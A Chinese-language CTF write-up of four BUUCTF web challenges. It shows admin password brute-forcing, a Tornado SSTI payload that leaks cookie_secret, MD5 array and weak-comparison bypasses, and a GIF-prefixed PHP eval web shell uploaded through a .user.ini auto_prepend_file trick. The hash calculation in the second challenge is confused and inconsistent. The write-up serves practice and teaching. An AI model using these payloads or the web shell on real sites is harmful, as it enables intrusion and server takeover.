1、[HCTF 2018]admin1
打开题目后发现有注册和登录两个页面,因为题目提示admin,尝试用admin进行爆破
爆破得到密码为123
登录得到flag
2、[护网杯 2018]easy_tornado1
打开题目后有三个文件,分别打开查看
在url地址栏中发现包含两个参数,分别为filename和filehash
flag应该位于:filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(filename))里面,filehash里hash就是提示为md5的hash加密。
变量 filename 的值总是为要访问的文件,再根据提示三和 filehash 三个不同的值猜测 filehash 的值为MD5加密后的字符串。
hints提示render是渲染的意思,
又根据题目easy_tornado
可推测是ssti服务器模板注入。
什么是SSTI:
SSTI(Server-Side Template Injection)是一种服务器端模板注入漏洞,它出现在使用模板引擎的Web应用程序中。模板引擎是一种将动态数据与静态模板结合生成最终输出的工具。然而,如果在构建模板时未正确处理用户输入,就可能导致SSTI漏洞的产生。
sql注入的成因是:当后端脚本语言进行数据库查询时,可以构造输入语句来进行拼接,从而实现恶意sql查询。
SSTI与其相似,服务端将输入作为web应用模板内容的一部分,在进行目标编译渲染的过程中,拼接了恶意语句,因此造成敏感信息泄露、远程命令执行等问题。
SSTI的类型
在PHP、Java和Python这三种常用的编程语言中,都有一些流行的模板引擎。
PHP:
1.Smarty:Smarty是PHP语言中广泛使用的模板引擎,它提供了强大的模板分离和逻辑控制功能。
2.Twig:Twig是一个现代化的PHP模板引擎,被广泛用于Symfony框架等PHP应用程序中。
3.Blade:Blade是Laravel框架的默认模板引擎,它提供了简洁的语法和强大的模板继承特性。
Java:
1.Thymeleaf:Thymeleaf是一种现代化的Java服务器端模板引擎,广泛应用于Spring框架等Java Web应用。
2.FreeMarker:FreeMarker是Java语言中流行的模板引擎,具有灵活的语法和强大的自定义标签功能。
3.Mustache:Mustache是一种简单而功能强大的模板语言,支持多种编程语言,包括Java。
Python:
1.Jinja2:Jinja2是Python语言中广泛使用的模板引擎,被许多Web框架(如Flask和Django)所采用。
2.Mako:Mako是另一个在Python中常用的模板引擎,它具有简单易用的语法和高性能的特点。
3.Django模板引擎:针对Django框架而言,它自带了一个强大的模板引擎,为开发人员提供了丰富的模板标签和过滤器。
尝试构造payload:
/file?filename=/fllllllllllllag&filehash={{1}}
跳转到一个报错页面
模板注入必须通过传输型如{{xxx}}的执行命令。探测方式很简单,给一个参数赋值{{22*22}}
返回484则必然存在模板注入。
当我们error?msg={{1}}
就可以得到回显,说明此处是存在SSTI注入漏洞的。
参考他人wp得知
Handler这个对象,Handler指向的处理当前这个页面的RequestHandler对象
RequestHandler中并没有settings这个属性,与RequestHandler关联的Application对象(Requestion.application)才有setting这个属性
handler 指向RequestHandler
而RequestHandler.settings又指向self.application.settings
所有handler.settings就指向RequestHandler.application.settings了!
参考链接:https://blog.csdn.net/qq_51927659/article/details/116031923
构造payload:
http://ee1aa3a6-354a-46b1-96f9-f7dbd55b6e75.node5.buuoj.cn/error?msg={{handler.settings}}
得到需要的cookie-secret
由之前的内容可知payload:file?filename=/fllllllllllllag&filehash=md5(cookie_secret+md5(/fllllllllllllag))
cookie_secret': '1dbe7822-0242-43e8-850e-74804d85bda0加上/fllllllllllllag的MD5值后再求MD5值
3BF9F6CF685A6DD8DEFADABFB41A03A1和1dbe7822-0242-43e8-850e-74804d85bda0最大值为f考虑十六进制加法
得到结果3bfbd2b6ea7a91fd1d82,在进行MD5加密得到77a1d0572298d9f79da44fd36511802c
最终payload:
/file?filename=/fllllllllllllag&filehash=273e06e42b838d1a3d07fd2fdfeb7d25
3、[MRCTF2020]Ez_bypass1
代码审计:传入两个参数id和gg,当两个参数的值不相等但MD5值相等时完成第一步。第二步是用post的方式传入一个参数passwd弱passwd的值通过弱比较的方式等于1234567则输出flag。MD5强碰撞的绕过方式只有数组绕过尝试输入 id[]=2&gg[]=1,第二步弱比较绕过可以用passwd=1234567aa绕过。
首先get传参传入id和gg
然后post传入passwd,得到flag
4、[SUCTF 2019]CheckIn1
打开题目发现一个上传文件的窗口,考虑上传一句话木马。上传一个简单一句话木马后发现回显<? in contents! ,意思是不能包含<,用另一个一句话木马尝试。
GIF89a?
<script language="php">@eval($_POST['cmd']);</script>
上传成功,但是要是其有效,则应该上传php文件类型,尝试bp抓包后修改。
尝试了php、phtml、phtml1等都显示非法后缀,参考他人wp后发先这里要用.user.ini文件
文件上传绕过有两种常见的绕过方式第一种是.htaccess文件构成的PHP后门,第二种是user.ini文件构成的PHP后门。
.htaccess文件构成的PHP后门:
.htaccess 是Apache HTTP Server的文件目录系统级别的配置文件的默认的名字。它提供了在主配置文件中定义用户自定义指令的支持。其主要作用有URL重写、自定义错误页面、访问权限控制等。也就是说我们可以通过这个文件来达到更改Apache配置的目的。.htaccess的用途范围主要针对当前目录。可以通过上传.htaccess文件来重写apache配置,从而达到上传后门的目的。
user.ini文件构成的PHP后门:
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件仅被 CGI/FastCGI SAPI 处理。除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录($_SERVER['DOCUMENT_ROOT'] 所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。在 .user.ini 风格的 INI 文件中除了PHP_INI_SYSTEM以外的模式 INI 设置都可被识别
原理就是会在执行所有的php文件之前包含.user.ini所指定的文件,前提是含有.user.ini的文件夹下需要有正常的php文件,否则也不能包含了。
发现上传成功时,会产生一个index.php的文件,与.user.ini使用条件吻合。因此,只要上传好一个.user.ini文件后,再上传编写好的cmd.jpg一句话木马文件,index.php文件就会将cmd.jpg包含在里面。
.user.php:
GIF89a
auto_prepend_file=cmd.jpg
cmd.jpg
GIF89a?
<script language="php">
@eval($_POST['cmd']);phpinfo();
</script>
ini上传成功,接下来尝试上传jpg文件
上传成功,现在需要找上传路径,尝试蚁剑连接。